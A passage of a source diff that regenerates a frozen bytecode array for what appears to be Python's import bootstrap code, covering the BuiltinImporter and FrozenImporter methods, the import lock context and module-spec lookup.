+    0,0,2,0,0,0,1,0,0,0,67,0,0,0,115,4,
+    0,0,0,100,1,83,0,41,2,122,57,82,101,116,117,114,
+    110,32,78,111,110,101,32,97,115,32,98,117,105,108,116,45,
+    105,110,32,109,111,100,117,108,101,115,32,100,111,32,110,111,
+    116,32,104,97,118,101,32,99,111,100,101,32,111,98,106,101,
+    99,116,115,46,78,114,10,0,0,0,41,2,114,143,0,0,
+    0,114,71,0,0,0,114,10,0,0,0,114,10,0,0,0,
+    114,11,0,0,0,218,8,103,101,116,95,99,111,100,101,220,
+    2,0,0,115,2,0,0,0,0,4,122,24,66,117,105,108,
+    116,105,110,73,109,112,111,114,116,101,114,46,103,101,116,95,
+    99,111,100,101,99,2,0,0,0,0,0,0,0,2,0,0,
+    0,1,0,0,0,67,0,0,0,115,4,0,0,0,100,1,
+    83,0,41,2,122,56,82,101,116,117,114,110,32,78,111,110,
+    101,32,97,115,32,98,117,105,108,116,45,105,110,32,109,111,
+    100,117,108,101,115,32,100,111,32,110,111,116,32,104,97,118,
+    101,32,115,111,117,114,99,101,32,99,111,100,101,46,78,114,
+    10,0,0,0,41,2,114,143,0,0,0,114,71,0,0,0,
+    114,10,0,0,0,114,10,0,0,0,114,11,0,0,0,218,
+    10,103,101,116,95,115,111,117,114,99,101,226,2,0,0,115,
+    2,0,0,0,0,4,122,26,66,117,105,108,116,105,110,73,
+    109,112,111,114,116,101,114,46,103,101,116,95,115,111,117,114,
+    99,101,99,2,0,0,0,0,0,0,0,2,0,0,0,1,
     0,0,0,67,0,0,0,115,4,0,0,0,100,1,83,0,
-    41,2,122,56,82,101,116,117,114,110,32,78,111,110,101,32,
-    97,115,32,98,117,105,108,116,45,105,110,32,109,111,100,117,
-    108,101,115,32,100,111,32,110,111,116,32,104,97,118,101,32,
-    115,111,117,114,99,101,32,99,111,100,101,46,78,114,10,0,
-    0,0,41,2,114,143,0,0,0,114,71,0,0,0,114,10,
-    0,0,0,114,10,0,0,0,114,11,0,0,0,218,10,103,
-    101,116,95,115,111,117,114,99,101,226,2,0,0,115,2,0,
-    0,0,0,4,122,26,66,117,105,108,116,105,110,73,109,112,
-    111,114,116,101,114,46,103,101,116,95,115,111,117,114,99,101,
-    99,2,0,0,0,0,0,0,0,2,0,0,0,1,0,0,
-    0,67,0,0,0,115,4,0,0,0,100,1,83,0,41,2,
-    122,52,82,101,116,117,114,110,32,70,97,108,115,101,32,97,
-    115,32,98,117,105,108,116,45,105,110,32,109,111,100,117,108,
-    101,115,32,97,114,101,32,110,101,118,101,114,32,112,97,99,
-    107,97,103,101,115,46,70,114,10,0,0,0,41,2,114,143,
-    0,0,0,114,71,0,0,0,114,10,0,0,0,114,10,0,
-    0,0,114,11,0,0,0,114,105,0,0,0,232,2,0,0,
-    115,2,0,0,0,0,4,122,26,66,117,105,108,116,105,110,
-    73,109,112,111,114,116,101,114,46,105,115,95,112,97,99,107,
-    97,103,101,41,2,78,78,41,1,78,41,17,114,1,0,0,
-    0,114,0,0,0,0,114,2,0,0,0,114,3,0,0,0,
-    218,12,115,116,97,116,105,99,109,101,116,104,111,100,114,86,
-    0,0,0,218,11,99,108,97,115,115,109,101,116,104,111,100,
-    114,146,0,0,0,114,147,0,0,0,114,134,0,0,0,114,
-    135,0,0,0,114,74,0,0,0,114,148,0,0,0,114,149,
-    0,0,0,114,105,0,0,0,114,84,0,0,0,114,138,0,
-    0,0,114,10,0,0,0,114,10,0,0,0,114,10,0,0,
-    0,114,11,0,0,0,114,142,0,0,0,168,2,0,0,115,
-    30,0,0,0,8,7,4,2,12,9,2,1,12,8,2,1,
-    12,11,12,8,12,5,2,1,14,5,2,1,14,5,2,1,
-    14,5,114,142,0,0,0,99,0,0,0,0,0,0,0,0,
-    0,0,0,0,4,0,0,0,64,0,0,0,115,140,0,0,
-    0,101,0,90,1,100,0,90,2,100,1,90,3,101,4,100,
-    2,100,3,132,0,131,1,90,5,101,6,100,21,100,5,100,
-    6,132,1,131,1,90,7,101,6,100,22,100,7,100,8,132,
-    1,131,1,90,8,101,6,100,9,100,10,132,0,131,1,90,
-    9,101,4,100,11,100,12,132,0,131,1,90,10,101,6,100,
-    13,100,14,132,0,131,1,90,11,101,6,101,12,100,15,100,
-    16,132,0,131,1,131,1,90,13,101,6,101,12,100,17,100,
-    18,132,0,131,1,131,1,90,14,101,6,101,12,100,19,100,
-    20,132,0,131,1,131,1,90,15,100,4,83,0,41,23,218,
-    14,70,114,111,122,101,110,73,109,112,111,114,116,101,114,122,
-    142,77,101,116,97,32,112,97,116,104,32,105,109,112,111,114,
-    116,32,102,111,114,32,102,114,111,122,101,110,32,109,111,100,
-    117,108,101,115,46,10,10,32,32,32,32,65,108,108,32,109,
-    101,116,104,111,100,115,32,97,114,101,32,101,105,116,104,101,
-    114,32,99,108,97,115,115,32,111,114,32,115,116,97,116,105,
-    99,32,109,101,116,104,111,100,115,32,116,111,32,97,118,111,
-    105,100,32,116,104,101,32,110,101,101,100,32,116,111,10,32,
-    32,32,32,105,110,115,116,97,110,116,105,97,116,101,32,116,
-    104,101,32,99,108,97,115,115,46,10,10,32,32,32,32,99,
-    1,0,0,0,0,0,0,0,1,0,0,0,2,0,0,0,
-    67,0,0,0,115,12,0,0,0,100,1,106,0,124,0,106,
-    1,131,1,83,0,41,2,122,115,82,101,116,117,114,110,32,
-    114,101,112,114,32,102,111,114,32,116,104,101,32,109,111,100,
-    117,108,101,46,10,10,32,32,32,32,32,32,32,32,84,104,
-    101,32,109,101,116,104,111,100,32,105,115,32,100,101,112,114,
-    101,99,97,116,101,100,46,32,32,84,104,101,32,105,109,112,
-    111,114,116,32,109,97,99,104,105,110,101,114,121,32,100,111,
-    101,115,32,116,104,101,32,106,111,98,32,105,116,115,101,108,
-    102,46,10,10,32,32,32,32,32,32,32,32,122,22,60,109,
-    111,100,117,108,101,32,123,33,114,125,32,40,102,114,111,122,
-    101,110,41,62,41,2,114,38,0,0,0,114,1,0,0,0,
-    41,1,218,1,109,114,10,0,0,0,114,10,0,0,0,114,
-    11,0,0,0,114,86,0,0,0,250,2,0,0,115,2,0,
-    0,0,0,7,122,26,70,114,111,122,101,110,73,109,112,111,
-    114,116,101,114,46,109,111,100,117,108,101,95,114,101,112,114,
-    78,99,4,0,0,0,0,0,0,0,4,0,0,0,5,0,
-    0,0,67,0,0,0,115,36,0,0,0,116,0,106,1,124,
-    1,131,1,114,28,116,2,124,1,124,0,100,1,100,2,144,
-    1,131,2,83,0,110,4,100,0,83,0,100,0,83,0,41,
-    3,78,114,103,0,0,0,90,6,102,114,111,122,101,110,41,
-    3,114,46,0,0,0,114,75,0,0,0,114,78,0,0,0,
-    41,4,114,143,0,0,0,114,71,0,0,0,114,144,0,0,
-    0,114,145,0,0,0,114,10,0,0,0,114,10,0,0,0,
-    114,11,0,0,0,114,146,0,0,0,3,3,0,0,115,6,
-    0,0,0,0,2,10,1,18,2,122,24,70,114,111,122,101,
-    110,73,109,112,111,114,116,101,114,46,102,105,110,100,95,115,
-    112,101,99,99,3,0,0,0,0,0,0,0,3,0,0,0,
-    2,0,0,0,67,0,0,0,115,18,0,0,0,116,0,106,
-    1,124,1,131,1,114,14,124,0,83,0,100,1,83,0,41,
-    2,122,93,70,105,110,100,32,97,32,102,114,111,122,101,110,
-    32,109,111,100,117,108,101,46,10,10,32,32,32,32,32,32,
-    32,32,84,104,105,115,32,109,101,116,104,111,100,32,105,115,
-    32,100,101,112,114,101,99,97,116,101,100,46,32,32,85,115,
-    101,32,102,105,110,100,95,115,112,101,99,40,41,32,105,110,
-    115,116,101,97,100,46,10,10,32,32,32,32,32,32,32,32,
-    78,41,2,114,46,0,0,0,114,75,0,0,0,41,3,114,
-    143,0,0,0,114,71,0,0,0,114,144,0,0,0,114,10,
-    0,0,0,114,10,0,0,0,114,11,0,0,0,114,147,0,
-    0,0,10,3,0,0,115,2,0,0,0,0,7,122,26,70,
-    114,111,122,101,110,73,109,112,111,114,116,101,114,46,102,105,
-    110,100,95,109,111,100,117,108,101,99,2,0,0,0,0,0,
-    0,0,2,0,0,0,1,0,0,0,67,0,0,0,115,4,
-    0,0,0,100,1,83,0,41,2,122,42,85,115,101,32,100,
-    101,102,97,117,108,116,32,115,101,109,97,110,116,105,99,115,
-    32,102,111,114,32,109,111,100,117,108,101,32,99,114,101,97,
-    116,105,111,110,46,78,114,10,0,0,0,41,2,114,143,0,
-    0,0,114,82,0,0,0,114,10,0,0,0,114,10,0,0,
-    0,114,11,0,0,0,114,134,0,0,0,19,3,0,0,115,
-    0,0,0,0,122,28,70,114,111,122,101,110,73,109,112,111,
-    114,116,101,114,46,99,114,101,97,116,101,95,109,111,100,117,
-    108,101,99,1,0,0,0,0,0,0,0,3,0,0,0,4,
-    0,0,0,67,0,0,0,115,66,0,0,0,124,0,106,0,
-    106,1,125,1,116,2,106,3,124,1,131,1,115,38,116,4,
-    100,1,106,5,124,1,131,1,100,2,124,1,144,1,131,1,
+    41,2,122,52,82,101,116,117,114,110,32,70,97,108,115,101,
+    32,97,115,32,98,117,105,108,116,45,105,110,32,109,111,100,
+    117,108,101,115,32,97,114,101,32,110,101,118,101,114,32,112,
+    97,99,107,97,103,101,115,46,70,114,10,0,0,0,41,2,
+    114,143,0,0,0,114,71,0,0,0,114,10,0,0,0,114,
+    10,0,0,0,114,11,0,0,0,114,105,0,0,0,232,2,
+    0,0,115,2,0,0,0,0,4,122,26,66,117,105,108,116,
+    105,110,73,109,112,111,114,116,101,114,46,105,115,95,112,97,
+    99,107,97,103,101,41,2,78,78,41,1,78,41,17,114,1,
+    0,0,0,114,0,0,0,0,114,2,0,0,0,114,3,0,
+    0,0,218,12,115,116,97,116,105,99,109,101,116,104,111,100,
+    114,86,0,0,0,218,11,99,108,97,115,115,109,101,116,104,
+    111,100,114,146,0,0,0,114,147,0,0,0,114,134,0,0,
+    0,114,135,0,0,0,114,74,0,0,0,114,148,0,0,0,
+    114,149,0,0,0,114,105,0,0,0,114,84,0,0,0,114,
+    138,0,0,0,114,10,0,0,0,114,10,0,0,0,114,10,
+    0,0,0,114,11,0,0,0,114,142,0,0,0,168,2,0,
+    0,115,30,0,0,0,8,7,4,2,12,9,2,1,12,8,
+    2,1,12,11,12,8,12,5,2,1,14,5,2,1,14,5,
+    2,1,14,5,114,142,0,0,0,99,0,0,0,0,0,0,
+    0,0,0,0,0,0,4,0,0,0,64,0,0,0,115,140,
+    0,0,0,101,0,90,1,100,0,90,2,100,1,90,3,101,
+    4,100,2,100,3,132,0,131,1,90,5,101,6,100,21,100,
+    5,100,6,132,1,131,1,90,7,101,6,100,22,100,7,100,
+    8,132,1,131,1,90,8,101,6,100,9,100,10,132,0,131,
+    1,90,9,101,4,100,11,100,12,132,0,131,1,90,10,101,
+    6,100,13,100,14,132,0,131,1,90,11,101,6,101,12,100,
+    15,100,16,132,0,131,1,131,1,90,13,101,6,101,12,100,
+    17,100,18,132,0,131,1,131,1,90,14,101,6,101,12,100,
+    19,100,20,132,0,131,1,131,1,90,15,100,4,83,0,41,
+    23,218,14,70,114,111,122,101,110,73,109,112,111,114,116,101,
+    114,122,142,77,101,116,97,32,112,97,116,104,32,105,109,112,
+    111,114,116,32,102,111,114,32,102,114,111,122,101,110,32,109,
+    111,100,117,108,101,115,46,10,10,32,32,32,32,65,108,108,
+    32,109,101,116,104,111,100,115,32,97,114,101,32,101,105,116,
+    104,101,114,32,99,108,97,115,115,32,111,114,32,115,116,97,
+    116,105,99,32,109,101,116,104,111,100,115,32,116,111,32,97,
+    118,111,105,100,32,116,104,101,32,110,101,101,100,32,116,111,
+    10,32,32,32,32,105,110,115,116,97,110,116,105,97,116,101,
+    32,116,104,101,32,99,108,97,115,115,46,10,10,32,32,32,
+    32,99,1,0,0,0,0,0,0,0,1,0,0,0,2,0,
+    0,0,67,0,0,0,115,12,0,0,0,100,1,106,0,124,
+    0,106,1,131,1,83,0,41,2,122,115,82,101,116,117,114,
+    110,32,114,101,112,114,32,102,111,114,32,116,104,101,32,109,
+    111,100,117,108,101,46,10,10,32,32,32,32,32,32,32,32,
+    84,104,101,32,109,101,116,104,111,100,32,105,115,32,100,101,
+    112,114,101,99,97,116,101,100,46,32,32,84,104,101,32,105,
+    109,112,111,114,116,32,109,97,99,104,105,110,101,114,121,32,
+    100,111,101,115,32,116,104,101,32,106,111,98,32,105,116,115,
+    101,108,102,46,10,10,32,32,32,32,32,32,32,32,122,22,
+    60,109,111,100,117,108,101,32,123,33,114,125,32,40,102,114,
+    111,122,101,110,41,62,41,2,114,38,0,0,0,114,1,0,
+    0,0,41,1,218,1,109,114,10,0,0,0,114,10,0,0,
+    0,114,11,0,0,0,114,86,0,0,0,250,2,0,0,115,
+    2,0,0,0,0,7,122,26,70,114,111,122,101,110,73,109,
+    112,111,114,116,101,114,46,109,111,100,117,108,101,95,114,101,
+    112,114,78,99,4,0,0,0,0,0,0,0,4,0,0,0,
+    5,0,0,0,67,0,0,0,115,34,0,0,0,116,0,106,
+    1,124,1,131,1,114,26,116,2,124,1,124,0,100,1,100,
+    2,141,3,83,0,110,4,100,0,83,0,100,0,83,0,41,
+    3,78,90,6,102,114,111,122,101,110,41,1,114,103,0,0,
+    0,41,3,114,46,0,0,0,114,75,0,0,0,114,78,0,
+    0,0,41,4,114,143,0,0,0,114,71,0,0,0,114,144,
+    0,0,0,114,145,0,0,0,114,10,0,0,0,114,10,0,
+    0,0,114,11,0,0,0,114,146,0,0,0,3,3,0,0,
+    115,6,0,0,0,0,2,10,1,16,2,122,24,70,114,111,
+    122,101,110,73,109,112,111,114,116,101,114,46,102,105,110,100,
+    95,115,112,101,99,99,3,0,0,0,0,0,0,0,3,0,
+    0,0,2,0,0,0,67,0,0,0,115,18,0,0,0,116,
+    0,106,1,124,1,131,1,114,14,124,0,83,0,100,1,83,
+    0,41,2,122,93,70,105,110,100,32,97,32,102,114,111,122,
+    101,110,32,109,111,100,117,108,101,46,10,10,32,32,32,32,
+    32,32,32,32,84,104,105,115,32,109,101,116,104,111,100,32,
+    105,115,32,100,101,112,114,101,99,97,116,101,100,46,32,32,
+    85,115,101,32,102,105,110,100,95,115,112,101,99,40,41,32,
+    105,110,115,116,101,97,100,46,10,10,32,32,32,32,32,32,
+    32,32,78,41,2,114,46,0,0,0,114,75,0,0,0,41,
+    3,114,143,0,0,0,114,71,0,0,0,114,144,0,0,0,
+    114,10,0,0,0,114,10,0,0,0,114,11,0,0,0,114,
+    147,0,0,0,10,3,0,0,115,2,0,0,0,0,7,122,
+    26,70,114,111,122,101,110,73,109,112,111,114,116,101,114,46,
+    102,105,110,100,95,109,111,100,117,108,101,99,2,0,0,0,
+    0,0,0,0,2,0,0,0,1,0,0,0,67,0,0,0,
+    115,4,0,0,0,100,1,83,0,41,2,122,42,85,115,101,
+    32,100,101,102,97,117,108,116,32,115,101,109,97,110,116,105,
+    99,115,32,102,111,114,32,109,111,100,117,108,101,32,99,114,
+    101,97,116,105,111,110,46,78,114,10,0,0,0,41,2,114,
+    143,0,0,0,114,82,0,0,0,114,10,0,0,0,114,10,
+    0,0,0,114,11,0,0,0,114,134,0,0,0,19,3,0,
+    0,115,0,0,0,0,122,28,70,114,111,122,101,110,73,109,
+    112,111,114,116,101,114,46,99,114,101,97,116,101,95,109,111,
+    100,117,108,101,99,1,0,0,0,0,0,0,0,3,0,0,
+    0,4,0,0,0,67,0,0,0,115,64,0,0,0,124,0,
+    106,0,106,1,125,1,116,2,106,3,124,1,131,1,115,36,
+    116,4,100,1,106,5,124,1,131,1,124,1,100,2,141,2,
     130,1,116,6,116,2,106,7,124,1,131,2,125,2,116,8,
     124,2,124,0,106,9,131,2,1,0,100,0,83,0,41,3,
     78,122,27,123,33,114,125,32,105,115,32,110,111,116,32,97,
-    32,102,114,111,122,101,110,32,109,111,100,117,108,101,114,15,
-    0,0,0,41,10,114,89,0,0,0,114,15,0,0,0,114,
-    46,0,0,0,114,75,0,0,0,114,70,0,0,0,114,38,
-    0,0,0,114,58,0,0,0,218,17,103,101,116,95,102,114,
-    111,122,101,110,95,111,98,106,101,99,116,218,4,101,120,101,
-    99,114,7,0,0,0,41,3,114,83,0,0,0,114,15,0,
-    0,0,218,4,99,111,100,101,114,10,0,0,0,114,10,0,
-    0,0,114,11,0,0,0,114,135,0,0,0,23,3,0,0,
-    115,12,0,0,0,0,2,8,1,10,1,12,1,8,1,12,
-    1,122,26,70,114,111,122,101,110,73,109,112,111,114,116,101,
-    114,46,101,120,101,99,95,109,111,100,117,108,101,99,2,0,
-    0,0,0,0,0,0,2,0,0,0,3,0,0,0,67,0,
-    0,0,115,10,0,0,0,116,0,124,0,124,1,131,2,83,
-    0,41,1,122,95,76,111,97,100,32,97,32,102,114,111,122,
-    101,110,32,109,111,100,117,108,101,46,10,10,32,32,32,32,
-    32,32,32,32,84,104,105,115,32,109,101,116,104,111,100,32,
-    105,115,32,100,101,112,114,101,99,97,116,101,100,46,32,32,
-    85,115,101,32,101,120,101,99,95,109,111,100,117,108,101,40,
-    41,32,105,110,115,116,101,97,100,46,10,10,32,32,32,32,
-    32,32,32,32,41,1,114,84,0,0,0,41,2,114,143,0,
-    0,0,114,71,0,0,0,114,10,0,0,0,114,10,0,0,
-    0,114,11,0,0,0,114,138,0,0,0,32,3,0,0,115,
-    2,0,0,0,0,7,122,26,70,114,111,122,101,110,73,109,
-    112,111,114,116,101,114,46,108,111,97,100,95,109,111,100,117,
-    108,101,99,2,0,0,0,0,0,0,0,2,0,0,0,2,
-    0,0,0,67,0,0,0,115,10,0,0,0,116,0,106,1,
-    124,1,131,1,83,0,41,1,122,45,82,101,116,117,114,110,
-    32,116,104,101,32,99,111,100,101,32,111,98,106,101,99,116,
-    32,102,111,114,32,116,104,101,32,102,114,111,122,101,110,32,
-    109,111,100,117,108,101,46,41,2,114,46,0,0,0,114,154,
-    0,0,0,41,2,114,143,0,0,0,114,71,0,0,0,114,
-    10,0,0,0,114,10,0,0,0,114,11,0,0,0,114,148,
-    0,0,0,41,3,0,0,115,2,0,0,0,0,4,122,23,
-    70,114,111,122,101,110,73,109,112,111,114,116,101,114,46,103,
-    101,116,95,99,111,100,101,99,2,0,0,0,0,0,0,0,
-    2,0,0,0,1,0,0,0,67,0,0,0,115,4,0,0,
-    0,100,1,83,0,41,2,122,54,82,101,116,117,114,110,32,
-    78,111,110,101,32,97,115,32,102,114,111,122,101,110,32,109,
-    111,100,117,108,101,115,32,100,111,32,110,111,116,32,104,97,
-    118,101,32,115,111,117,114,99,101,32,99,111,100,101,46,78,
-    114,10,0,0,0,41,2,114,143,0,0,0,114,71,0,0,
+    32,102,114,111,122,101,110,32,109,111,100,117,108,101,41,1,
+    114,15,0,0,0,41,10,114,89,0,0,0,114,15,0,0,
+    0,114,46,0,0,0,114,75,0,0,0,114,70,0,0,0,
+    114,38,0,0,0,114,58,0,0,0,218,17,103,101,116,95,
+    102,114,111,122,101,110,95,111,98,106,101,99,116,218,4,101,
+    120,101,99,114,7,0,0,0,41,3,114,83,0,0,0,114,
+    15,0,0,0,218,4,99,111,100,101,114,10,0,0,0,114,
+    10,0,0,0,114,11,0,0,0,114,135,0,0,0,23,3,
+    0,0,115,12,0,0,0,0,2,8,1,10,1,10,1,8,
+    1,12,1,122,26,70,114,111,122,101,110,73,109,112,111,114,
+    116,101,114,46,101,120,101,99,95,109,111,100,117,108,101,99,
+    2,0,0,0,0,0,0,0,2,0,0,0,3,0,0,0,
+    67,0,0,0,115,10,0,0,0,116,0,124,0,124,1,131,
+    2,83,0,41,1,122,95,76,111,97,100,32,97,32,102,114,
+    111,122,101,110,32,109,111,100,117,108,101,46,10,10,32,32,
+    32,32,32,32,32,32,84,104,105,115,32,109,101,116,104,111,
+    100,32,105,115,32,100,101,112,114,101,99,97,116,101,100,46,
+    32,32,85,115,101,32,101,120,101,99,95,109,111,100,117,108,
+    101,40,41,32,105,110,115,116,101,97,100,46,10,10,32,32,
+    32,32,32,32,32,32,41,1,114,84,0,0,0,41,2,114,
+    143,0,0,0,114,71,0,0,0,114,10,0,0,0,114,10,
+    0,0,0,114,11,0,0,0,114,138,0,0,0,32,3,0,
+    0,115,2,0,0,0,0,7,122,26,70,114,111,122,101,110,
+    73,109,112,111,114,116,101,114,46,108,111,97,100,95,109,111,
+    100,117,108,101,99,2,0,0,0,0,0,0,0,2,0,0,
+    0,2,0,0,0,67,0,0,0,115,10,0,0,0,116,0,
+    106,1,124,1,131,1,83,0,41,1,122,45,82,101,116,117,
+    114,110,32,116,104,101,32,99,111,100,101,32,111,98,106,101,
+    99,116,32,102,111,114,32,116,104,101,32,102,114,111,122,101,
+    110,32,109,111,100,117,108,101,46,41,2,114,46,0,0,0,
+    114,154,0,0,0,41,2,114,143,0,0,0,114,71,0,0,
     0,114,10,0,0,0,114,10,0,0,0,114,11,0,0,0,
-    114,149,0,0,0,47,3,0,0,115,2,0,0,0,0,4,
-    122,25,70,114,111,122,101,110,73,109,112,111,114,116,101,114,
-    46,103,101,116,95,115,111,117,114,99,101,99,2,0,0,0,
-    0,0,0,0,2,0,0,0,2,0,0,0,67,0,0,0,
-    115,10,0,0,0,116,0,106,1,124,1,131,1,83,0,41,
-    1,122,46,82,101,116,117,114,110,32,84,114,117,101,32,105,
-    102,32,116,104,101,32,102,114,111,122,101,110,32,109,111,100,
-    117,108,101,32,105,115,32,97,32,112,97,99,107,97,103,101,
-    46,41,2,114,46,0,0,0,90,17,105,115,95,102,114,111,
-    122,101,110,95,112,97,99,107,97,103,101,41,2,114,143,0,
-    0,0,114,71,0,0,0,114,10,0,0,0,114,10,0,0,
-    0,114,11,0,0,0,114,105,0,0,0,53,3,0,0,115,
-    2,0,0,0,0,4,122,25,70,114,111,122,101,110,73,109,
-    112,111,114,116,101,114,46,105,115,95,112,97,99,107,97,103,
-    101,41,2,78,78,41,1,78,41,16,114,1,0,0,0,114,
-    0,0,0,0,114,2,0,0,0,114,3,0,0,0,114,150,
-    0,0,0,114,86,0,0,0,114,151,0,0,0,114,146,0,
-    0,0,114,147,0,0,0,114,134,0,0,0,114,135,0,0,
-    0,114,138,0,0,0,114,77,0,0,0,114,148,0,0,0,
-    114,149,0,0,0,114,105,0,0,0,114,10,0,0,0,114,
-    10,0,0,0,114,10,0,0,0,114,11,0,0,0,114,152,
-    0,0,0,241,2,0,0,115,30,0,0,0,8,7,4,2,
-    12,9,2,1,12,6,2,1,12,8,12,4,12,9,12,9,
-    2,1,14,5,2,1,14,5,2,1,114,152,0,0,0,99,
-    0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,
-    64,0,0,0,115,32,0,0,0,101,0,90,1,100,0,90,
-    2,100,1,90,3,100,2,100,3,132,0,90,4,100,4,100,
-    5,132,0,90,5,100,6,83,0,41,7,218,18,95,73,109,
-    112,111,114,116,76,111,99,107,67,111,110,116,101,120,116,122,
-    36,67,111,110,116,101,120,116,32,109,97,110,97,103,101,114,
-    32,102,111,114,32,116,104,101,32,105,109,112,111,114,116,32,
-    108,111,99,107,46,99,1,0,0,0,0,0,0,0,1,0,
-    0,0,1,0,0,0,67,0,0,0,115,12,0,0,0,116,
-    0,106,1,131,0,1,0,100,1,83,0,41,2,122,24,65,
-    99,113,117,105,114,101,32,116,104,101,32,105,109,112,111,114,
-    116,32,108,111,99,107,46,78,41,2,114,46,0,0,0,114,
-    137,0,0,0,41,1,114,26,0,0,0,114,10,0,0,0,
-    114,10,0,0,0,114,11,0,0,0,114,48,0,0,0,66,
-    3,0,0,115,2,0,0,0,0,2,122,28,95,73,109,112,
-    111,114,116,76,111,99,107,67,111,110,116,101,120,116,46,95,
-    95,101,110,116,101,114,95,95,99,4,0,0,0,0,0,0,
-    0,4,0,0,0,1,0,0,0,67,0,0,0,115,12,0,
-    0,0,116,0,106,1,131,0,1,0,100,1,83,0,41,2,
-    122,60,82,101,108,101,97,115,101,32,116,104,101,32,105,109,
-    112,111,114,116,32,108,111,99,107,32,114,101,103,97,114,100,
-    108,101,115,115,32,111,102,32,97,110,121,32,114,97,105,115,
-    101,100,32,101,120,99,101,112,116,105,111,110,115,46,78,41,
-    2,114,46,0,0,0,114,47,0,0,0,41,4,114,26,0,
-    0,0,90,8,101,120,99,95,116,121,112,101,90,9,101,120,
-    99,95,118,97,108,117,101,90,13,101,120,99,95,116,114,97,
-    99,101,98,97,99,107,114,10,0,0,0,114,10,0,0,0,
-    114,11,0,0,0,114,50,0,0,0,70,3,0,0,115,2,
-    0,0,0,0,2,122,27,95,73,109,112,111,114,116,76,111,
-    99,107,67,111,110,116,101,120,116,46,95,95,101,120,105,116,
-    95,95,78,41,6,114,1,0,0,0,114,0,0,0,0,114,
-    2,0,0,0,114,3,0,0,0,114,48,0,0,0,114,50,
-    0,0,0,114,10,0,0,0,114,10,0,0,0,114,10,0,
-    0,0,114,11,0,0,0,114,157,0,0,0,62,3,0,0,
-    115,6,0,0,0,8,2,4,2,8,4,114,157,0,0,0,
-    99,3,0,0,0,0,0,0,0,5,0,0,0,4,0,0,
-    0,67,0,0,0,115,64,0,0,0,124,1,106,0,100,1,
-    124,2,100,2,24,0,131,2,125,3,116,1,124,3,131,1,
-    124,2,107,0,114,36,116,2,100,3,131,1,130,1,124,3,
-    100,4,25,0,125,4,124,0,114,60,100,5,106,3,124,4,
-    124,0,131,2,83,0,124,4,83,0,41,6,122,50,82,101,
-    115,111,108,118,101,32,97,32,114,101,108,97,116,105,118,101,
-    32,109,111,100,117,108,101,32,110,97,109,101,32,116,111,32,
-    97,110,32,97,98,115,111,108,117,116,101,32,111,110,101,46,
-    114,117,0,0,0,114,33,0,0,0,122,50,97,116,116,101,
-    109,112,116,101,100,32,114,101,108,97,116,105,118,101,32,105,
-    109,112,111,114,116,32,98,101,121,111,110,100,32,116,111,112,
-    45,108,101,118,101,108,32,112,97,99,107,97,103,101,114,19,
-    0,0,0,122,5,123,125,46,123,125,41,4,218,6,114,115,
-    112,108,105,116,218,3,108,101,110,218,10,86,97,108,117,101,
-    69,114,114,111,114,114,38,0,0,0,41,5,114,15,0,0,
-    0,218,7,112,97,99,107,97,103,101,218,5,108,101,118,101,
-    108,90,4,98,105,116,115,90,4,98,97,115,101,114,10,0,
-    0,0,114,10,0,0,0,114,11,0,0,0,218,13,95,114,
-    101,115,111,108,118,101,95,110,97,109,101,75,3,0,0,115,
-    10,0,0,0,0,2,16,1,12,1,8,1,8,1,114,163,
-    0,0,0,99,3,0,0,0,0,0,0,0,4,0,0,0,
-    3,0,0,0,67,0,0,0,115,34,0,0,0,124,0,106,
-    0,124,1,124,2,131,2,125,3,124,3,100,0,107,8,114,
-    24,100,0,83,0,116,1,124,1,124,3,131,2,83,0,41,
-    1,78,41,2,114,147,0,0,0,114,78,0,0,0,41,4,
-    218,6,102,105,110,100,101,114,114,15,0,0,0,114,144,0,
-    0,0,114,93,0,0,0,114,10,0,0,0,114,10,0,0,
-    0,114,11,0,0,0,218,17,95,102,105,110,100,95,115,112,
-    101,99,95,108,101,103,97,99,121,84,3,0,0,115,8,0,
-    0,0,0,3,12,1,8,1,4,1,114,165,0,0,0,99,
-    3,0,0,0,0,0,0,0,10,0,0,0,27,0,0,0,
-    67,0,0,0,115,244,0,0,0,116,0,106,1,125,3,124,
-    3,100,1,107,8,114,22,116,2,100,2,131,1,130,1,124,
-    3,115,38,116,3,106,4,100,3,116,5,131,2,1,0,124,
-    0,116,0,106,6,107,6,125,4,120,190,124,3,68,0,93,
-    178,125,5,116,7,131,0,143,72,1,0,121,10,124,5,106,
-    8,125,6,87,0,110,42,4,0,116,9,107,10,114,118,1,
-    0,1,0,1,0,116,10,124,5,124,0,124,1,131,3,125,
-    7,124,7,100,1,107,8,114,114,119,54,89,0,110,14,88,
-    0,124,6,124,0,124,1,124,2,131,3,125,7,87,0,100,
-    1,81,0,82,0,88,0,124,7,100,1,107,9,114,54,124,
-    4,12,0,114,228,124,0,116,0,106,6,107,6,114,228,116,
-    0,106,6,124,0,25,0,125,8,121,10,124,8,106,11,125,
-    9,87,0,110,20,4,0,116,9,107,10,114,206,1,0,1,
-    0,1,0,124,7,83,0,88,0,124,9,100,1,107,8,114,
-    222,124,7,83,0,113,232,124,9,83,0,113,54,124,7,83,
-    0,113,54,87,0,100,1,83,0,100,1,83,0,41,4,122,
-    21,70,105,110,100,32,97,32,109,111,100,117,108,101,39,115,
-    32,115,112,101,99,46,78,122,53,115,121,115,46,109,101,116,
-    97,95,112,97,116,104,32,105,115,32,78,111,110,101,44,32,
-    80,121,116,104,111,110,32,105,115,32,108,105,107,101,108,121,
-    32,115,104,117,116,116,105,110,103,32,100,111,119,110,122,22,
-    115,121,115,46,109,101,116,97,95,112,97,116,104,32,105,115,
-    32,101,109,112,116,121,41,12,114,14,0,0,0,218,9,109,
-    101,116,97,95,112,97,116,104,114,70,0,0,0,218,9,95,
-    119,97,114,110,105,110,103,115,218,4,119,97,114,110,218,13,
-    73,109,112,111,114,116,87,97,114,110,105,110,103,114,79,0,
-    0,0,114,157,0,0,0,114,146,0,0,0,114,90,0,0,
-    0,114,165,0,0,0,114,89,0,0,0,41,10,114,15,0,
-    0,0,114,144,0,0,0,114,145,0,0,0,114,166,0,0,
-    0,90,9,105,115,95,114,101,108,111,97,100,114,164,0,0,
-    0,114,146,0,0,0,114,82,0,0,0,114,83,0,0,0,
-    114,89,0,0,0,114,10,0,0,0,114,10,0,0,0,114,
-    11,0,0,0,218,10,95,102,105,110,100,95,115,112,101,99,
-    93,3,0,0,115,54,0,0,0,0,2,6,1,8,2,8,
-    3,4,1,12,5,10,1,10,1,8,1,2,1,10,1,14,
-    1,12,1,8,1,8,2,22,1,8,2,16,1,10,1,2,
-    1,10,1,14,4,6,2,8,1,6,2,6,2,8,2,114,
